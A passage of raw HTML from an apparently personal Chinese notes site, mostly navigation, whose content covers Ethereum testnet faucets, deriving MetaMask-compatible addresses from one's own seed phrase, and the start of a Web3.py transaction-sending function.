41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          ETH\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        ETH\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#eth\" class=\"md-nav__link\">\n    ETH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ropsteneth\" class=\"md-nav__link\">\n    获取测试网络ropsten的ETH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#metamask\" class=\"md-nav__link\">\n    生成一堆与MetaMask兼容的地址\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonweb3py\" class=\"md-nav__link\">\n    Python发起交易(Web3.py)\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#api\" class=\"md-nav__link\">\n    地址交易查询API\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#block-id\" class=\"md-nav__link\">\n    时间戳转block id\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    根据函数名调用合约\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"根据函数名调用合约\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    更复杂的参数类型\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cake\" class=\"md-nav__link\">\n    实例：获取Cake持仓价值\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#erigon\" class=\"md-nav__link\">\n    erigon 导出所有合约地址\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#eth\" class=\"md-nav__link\">\n    ETH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ropsteneth\" class=\"md-nav__link\">\n    获取测试网络ropsten的ETH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#metamask\" class=\"md-nav__link\">\n    生成一堆与MetaMask兼容的地址\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pythonweb3py\" class=\"md-nav__link\">\n    Python发起交易(Web3.py)\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#api\" class=\"md-nav__link\">\n    地址交易查询API\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#block-id\" class=\"md-nav__link\">\n    时间戳转block id\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    根据函数名调用合约\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"根据函数名调用合约\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    更复杂的参数类型\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cake\" class=\"md-nav__link\">\n    实例：获取Cake持仓价值\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#erigon\" class=\"md-nav__link\">\n    erigon 导出所有合约地址\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n  <h1>ETH</h1>\n\n<h2 id=\"eth\">ETH<a class=\"headerlink\" href=\"#eth\" title=\"Permanent link\">&para;</a></h2>\n<p>学习一下以太坊，目前可以在区块链上刻字了，每个交易可以存储30K的内容</p>\n<h2 id=\"ropsteneth\">获取测试网络ropsten的ETH<a class=\"headerlink\" href=\"#ropsteneth\" title=\"Permanent link\">&para;</a></h2>\n<p>目前的faucet列表，不过有可能他们工作在fork上，获得的eth不能在etherscan上看到</p>\n<blockquote>\n<p>近期以太坊Ropsten测试网的Istanbul升级由于大部分算力没有升级节点软件，实际上已经发生了分叉</p>\n</blockquote>\n<ul>\n<li>https://faucet.ropsten.be</li>\n<li>https://faucet.metamask.io</li>\n<li>http://faucet.bitfwd.xyz</li>\n</ul>\n<h2 id=\"metamask\">生成一堆与MetaMask兼容的地址<a class=\"headerlink\" href=\"#metamask\" title=\"Permanent link\">&para;</a></h2>\n<p>MetaMask等钱包的工作原理是从一串seed phrase生成一系列私钥</p>\n<p>使用<a href=\"https://github.com/ConsenSys/eth-lightwallet\">lightwallet</a>这个npm包来生成MetaMask兼容的1000个地址</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"cp\"># 需要使用版本2，更新的版本修改了API需要提供salt</span>\n<span class=\"n\">$</span><span class=\"w\"> </span><span class=\"n\">npm</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"n\">eth</span><span class=\"o\">-</span><span class=\"n\">lightwallet</span><span class=\"mf\">@2.5.6</span>\n\n<span class=\"cp\"># 修改node_modules\\_bitcore-lib@8.14.4@bitcore-lib\\index.js添加一个return</span>\n<span class=\"cp\"># bitcore.versionGuard = function(version) {return;</span>\n\n<span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">lightwallet</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">require</span><span class=\"p\">(</span><span class=\"s\">&quot;eth-lightwallet&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">secretSeed</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">从metamask复制</span>\n<span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">password</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">随意设置一个密码</span><span class=\"err\">，</span><span class=\"n\">在内存中存储的是使用这个密码加密后的私钥</span>\n<span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">hdPathString</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;m/44&#39;/60&#39;/0&#39;/0&quot;</span><span class=\"p\">;</span>\n<span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">ks</span><span class=\"p\">;</span><span class=\"w\"> </span>\n<span class=\"n\">lightwallet</span><span class=\"p\">.</span><span class=\"n\">keystore</span><span class=\"p\">.</span><span class=\"n\">deriveKeyFromPassword</span><span class=\"p\">(</span><span class=\"n\">password</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">err</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">pwDerivedKey</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">ks</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">new</span><span class=\"w\"> </span><span class=\"n\">lightwallet</span><span class=\"p\">.</span><span class=\"n\">keystore</span><span class=\"p\">(</span><span class=\"n\">secretSeed</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">pwDerivedKey</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">hdPathString</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"c1\">//console.log(ks);</span>\n<span class=\"w\">    </span><span class=\"n\">ks</span><span class=\"p\">.</span><span class=\"n\">generateNewAddress</span><span class=\"p\">(</span><span class=\"n\">pwDerivedKey</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mi\">1000</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">hdPathString</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"p\">(</span><span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"n\">of</span><span class=\"w\"> </span><span class=\"n\">ks</span><span class=\"p\">.</span><span class=\"n\">getAddresses</span><span class=\"p\">(</span><span class=\"n\">hdPathString</span><span class=\"p\">)){</span>\n<span class=\"w\">        </span><span class=\"n\">console</span><span class=\"p\">.</span><span class=\"n\">log</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">ks</span><span class=\"p\">.</span><span class=\"n\">exportPrivateKey</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">pwDerivedKey</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">hdPathString</span><span class=\"p\">));</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">})</span>\n</code></pre></div>\n\n<h2 id=\"pythonweb3py\">Python发起交易(Web3.py)<a class=\"headerlink\" href=\"#pythonweb3py\" title=\"Permanent link\">&para;</a></h2>\n<p>pip3 install web3，需要python3.7 （<a href=\"https://py3.io/Python/#ubuntu1604python37\">在Ubuntu16.04上安装Python 3.7</a>）</p>\n<p>在infura.io注册，得到一个project id，设置为环境变量WEB3_INFURA_PROJECT_ID</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">environ</span><span class=\"p\">[</span><span class=\"s2\">&quot;WEB3_INFURA_PROJECT_ID&quot;</span><span class=\"p\">]</span><span class=\"o\">=</span><span class=\"s2\">&quot;从infura.io复制&quot;</span>\n<span class=\"kn\">from</span> <span class=\"nn\">web3.auto.infura.ropsten</span> <span class=\"kn\">import</span> <span class=\"n\">w3</span>\n<span class=\"kn\">from</span> <span class=\"nn\">base64</span> <span class=\"kn\">import</span> <span class=\"n\">b16encode</span>\n<span class=\"k\">def</span> <span class=\"nf\">senddata</span><span class=\"p\">(</span><span class=\"n\">privatekey</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"p\">,</span> <span class=\"n\">to</span><span class=\"o\">=</span><span class=\"kc\">None</span><span class=\"p\">,</span> <span class=\"n\">nonce</span><span class=\"o\">=</span><span class=\"kc\">None</span><span class=\"p\">):</span>\n    <span class=\"n\">addr</span> <span class=\"o\">=</span> <span class=\"n\">w3</span><span class=\"o\">.</span><span class=\"n\">eth</span><span class=\"o\">.</span><span class=\"n\">account</span><span class=\"o\">.</span><span class=\"n\">privateKeyToAccount</span><span class=\"p\">(</span><span class=\"n\">privatekey</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">address</span>\n    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">to</span><span class=\"p\">:</span>\n        <span class=\"n\">to</span> <span class=\"o\">=</span> <span class=\"n\">addr</span>\n    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">to</span><span class=\"o\">.</span><span class=\"n\">startswith</span><span class=\"p\">(</span><span class=\"s2\">&quot;0x&quot;</span><span class=\"p\">):</span>\n        <span class=\"n\">to</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;0x&quot;</span><span class=\"o\">+</span><span class=\"n\">to</span>\n    <span class=\"k\">if</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span><span class=\"o\">&gt;</span><span class=\"mi\">30</span><span class=\"o\">*</span><span class=\"mi\">1024</span><span class=\"p\">:</span>\n        <span class=\"k\">raise</span> <span class=\"ne\">Exception</span><span class=\"p\">(</span><span class=\"s2\">&quot;data too big&quot;</span><span class=\"p\">)</span>\n    <span class=\"k\">if</span> <span class=\"n\">nonce</span> <span class=\"ow\">is</span> <span class=\"kc\">None</span><span class=\"p\">:</span>\n        <span class=\"n\">nonce</span><span class=\"o\">=</span><span class=\"n\">w3</span><span class=\"o\">.</span><span class=\"n\">eth</span><span class=\"o\">.</span><span class=\"n\">getTransactionCount</span><span class=\"p\">(</span><span class=\"n\">addr</span><span class=\"p\">)</span>\n    <span class=\"n\">tx</span><span class=\"o\">=</span><span class=\"nb\">dict</span><span class=\"p\">(</span><span class=\"n\">nonce</span><span class=\"o\">=</span><span class=\"n\">nonce</span><span class=\"p\">,</span> <span class=\"n\">gasPrice</span><span class=\"o\">=</span><span class=\"mi\">2000000000</span><span class=\"p\">,</span> <span class=\"n\">gas</span><span class=\"o\">=</span><span class=\"mi\">5940000</span><span class=\"p\">,</span> <span class=\"n\">to</span><span class=\"o\">=</span><span class=\"n\">to</span><span class=\"p\">,</span> <span class=\"n\">value</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"p\">,</span> <span class=\"n\">data</span><span class=\"o\">=</span><span class=\"n\">data</span><span class=\"p\">)</span>\n    <span class=\"n\">stx</span><span class=\"o\">=</span><span class=\"n\">w3</span><span class=\"o\">.</span><span class=\"n\">eth</span><span class=\"o\">.</span><span class=\"n\">account</span><span class=\"o\">.</span><span class=\"n\">sign_transaction</span><span class=\"p\">(</span><span class=\"n\">tx</span><span class=\"p\">,</span> <span class=\"n\">privatekey</span><span class=\"p\">)</span>\n    <span class=\"k\">return</span> <span class=\"n\">b16encode</span><span class=\"p\">(</span><span class=\"n\">w3</span><span class=\"o\">.</span><span class=\"n\">eth</span><span class=\"o\">.</span><span class=\"n\">sendRawTransaction</span><span class=\"p\">(</span><span class=\"n\">stx</span><span class=\"o\">.</span><span class=\"n\">rawTransaction</span><span class=\"p\">))</span><span 